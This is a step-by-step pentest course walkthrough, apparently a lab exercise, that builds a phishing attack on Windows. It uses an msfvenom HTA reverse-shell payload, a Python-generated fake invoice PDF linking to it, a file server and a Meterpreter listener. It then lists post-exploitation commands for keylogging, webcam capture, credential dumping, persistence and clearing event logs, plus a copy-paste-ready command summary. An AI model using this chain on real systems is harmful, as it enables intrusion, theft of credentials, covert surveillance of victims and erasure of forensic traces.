SAVORY MINDS (EXPLOITATION WORKFLOW STEP BY STEP)

🎯 Your Setup (Overview)

Machine	IP
Kali (Attacker)	192.168.88.4
Windows (Victim)	192.168.88.3

📋 PHASE 1: SETUP & PREPARATION

1.1 Update Kali

Bash:

```
sudo apt update
```

1.2 Install Python PDF Library

Bash:

```
sudo apt install python3-reportlab -y
```

Or if using virtual environment:

Bash:

```
python3 -m venv pdf_env

source pdf_env/bin/activate

pip install reportlab
```

🔥 PHASE 2: GENERATE PAYLOAD

2.1 Generate HTA Payload

bash

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.88.4 LPORT=4444 -f hta-psh -o invoice.hta
```

Output:

text

Saved as: invoice.hta

PHASE 3: CREATE MALICIOUS PDF

3.1 Create Python Script

Bash:

```
touch create_pdf.py
nano create_pdf.py
```

3.2 Script Content

Python:

```
from reportlab.pdfgen import canvas
from reportlab.lib.colors import blue

c = canvas.Canvas("invoice.pdf")

c.drawString(100, 750, "INVOICE #12345")
c.drawString(100, 700, "Date: 2026-10-15")
c.drawString(100, 650, "Amount: $1,234.56")
c.drawString(100, 600, "Click here to view details:")

c.setFillColor(blue)
c.drawString(100, 550, "http://192.168.88.4/invoice.hta")
c.linkURL("http://192.168.88.4/invoice.hta", (100, 540, 400, 560))

c.save()
print("[+] PDF created: invoice.pdf")
```

3.3 Run the Script

bash

```
python3 create_pdf.py
```

Output:

text

```
[+] PDF created: invoice.pdf
```

🌐 PHASE 4: HOST FILES ON KALI

4.1 Start HTTP Server

bash

```
sudo python3 -m http.server 80
```

Output:

text

```
Serving HTTP on 0.0.0.0 port 80 ...
```

📡 PHASE 5: START METASPLOIT LISTENER

5.1 Open New Terminal

5.2 Start Metasploit Handler

bash

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.88.4; set LPORT 4444; exploit -j"
```

Output:

text

```
[*] Started reverse TCP handler on 192.168.88.4:4444
```

💻 PHASE 6: DELIVER PAYLOAD TO WINDOWS

6.1 Download PDF on Windows (PowerShell)

powershell

```
Invoke-WebRequest -Uri "http://192.168.88.4/invoice.pdf" -OutFile "C:\Users\sowja\Downloads\invoice.pdf"
```

6.2 Download HTA on Windows (Optional)

powershell

```
Invoke-WebRequest -Uri "http://192.168.88.4/invoice.hta" -OutFile "C:\Users\sowja\Downloads\invoice.hta"
```

6.3 Alternative — Using curl.exe

cmd

```
curl.exe -o "C:\Users\sowja\Downloads\invoice.pdf" "http://192.168.88.4/invoice.pdf"
```

🎯 PHASE 7: EXECUTE THE ATTACK

On Windows:

1. **Double-click** invoice.pdf
2. PDF opens — looks like a normal invoice
3. **Click the link** inside → opens http://192.168.88.4/invoice.hta
4. HTA runs → reverse shell connects to Kali

💥 PHASE 8: GET THE SESSION

8.1 On Kali — Check Sessions

bash

sessions

Output:

text

Id Name Type Information Connection

1 meterpreter x64/windows WIN10\sowja @ WIN10 192.168.88.4:4444 -> 192.168.88.3:49152

8.2 Interact with Session

bash

sessions -i 1

8.3 Basic Commands

bash

sysinfo

getuid

screenshot

🔥 PHASE 9: POST-EXPLOITATION

9.1 Drop to Shell

bash

shell

9.2 System Information

bash

sysinfo

getuid

getpid

ps

9.3 File Operations

bash

pwd

ls

cd C:\Users

download secret.txt

upload payload.exe

9.4 Screenshot & Webcam

bash

screenshot

webcam_snap

9.5 Keylogger

bash

keyscan_start

keyscan_dump

keyscan_stop

9.6 Credential Dumping

bash

hashdump

load kiwi

creds_all

9.7 Privilege Escalation

bash

getsystem

9.8 Persistence

bash

run persistence -X -i 10 -p 4444 -r 192.168.88.4

9.9 Migration

bash

migrate [PID]

9.10 Clear Logs

bash

clearev

✅ **COMPLETE COMMAND SUMMARY (Copy-Paste Ready)**

bash

```
# ==========================================

# PHASE 1: SETUP

# ==========================================

sudo apt update

sudo apt install python3-reportlab -y


# ==========================================

# PHASE 2: GENERATE PAYLOAD

# ==========================================

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.88.4 LPORT=4444 -f hta-psh -o invoice.hta


# ==========================================

# PHASE 3: CREATE PDF

# ==========================================

touch create_pdf.py

nano create_pdf.py   # Paste the Python script

python3 create_pdf.py


# ==========================================

# PHASE 4: HOST FILES

# ==========================================

sudo python3 -m http.server 80
```

```
# ==========================================

# PHASE 5: START LISTENER (New Terminal)

# ==========================================

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.88.4; set LPORT 4444; exploit -j"


# ==========================================

# PHASE 6: DOWNLOAD ON WINDOWS (PowerShell)

# ==========================================

Invoke-WebRequest -Uri "http://192.168.88.4/invoice.pdf" -OutFile "C:\Users\sowja\Downloads\invoice.pdf"


# ==========================================

# PHASE 7: EXECUTE (Double-click PDF, click link)

# ==========================================


# ==========================================

# PHASE 8: GET SESSION

# ==========================================

sessions

sessions -i 1

sysinfo

getuid

screenshot
```

🧠 **Key Concepts Recap**

Concept	**Explanation**
HTA	HTML Application — runs natively on Windows via mshta.exe
PDF with Link	Looks harmless but links to malicious HTA
Reverse Shell	Victim connects back to attacker (bypasses firewalls)
Meterpreter	Advanced payload with post-exploitation features

msfvenom	Payload generator
multi/handler	Listener for reverse shells

📊 Attack Flow Diagram

text

```
[Kali 192.168.88.4]              [Windows 192.168.88.3]
      |                                |
      | 1. Generate HTA + PDF          |
      | 2. Host files on HTTP server   |
      | 3. Start listener on port 4444 |
      |                                |
      |<---------- 4. Victim downloads PDF ---|
      |                                |
      |<---------- 5. Victim clicks link -----|
      |                                |
      |<---------- 6. HTA executes ----------|
      |                                |
      |<---------- 7. Reverse shell connects -|
      |                                |
      | 8. Get Meterpreter session     |
      |                                |
```

✅ What You Learned

Skill	**Description**
Payload Generation	Created an HTA reverse shell
PDF Weaponization	Embedded a link in a PDF
Social Engineering	Made the PDF look legitimate
HTTP Hosting	Served files from Kali
Reverse Shell	Got a Meterpreter session
Post-Exploitation	Dumped hashes, took screenshots

Note: This is just an overview of the topic Exploitation in Pen-testing. For more information you may check the course details on website. Use this only for educational purpose.

Regards
Team
Savory Minds
A Unit of XPLOITX SOFTTECH PVT LTD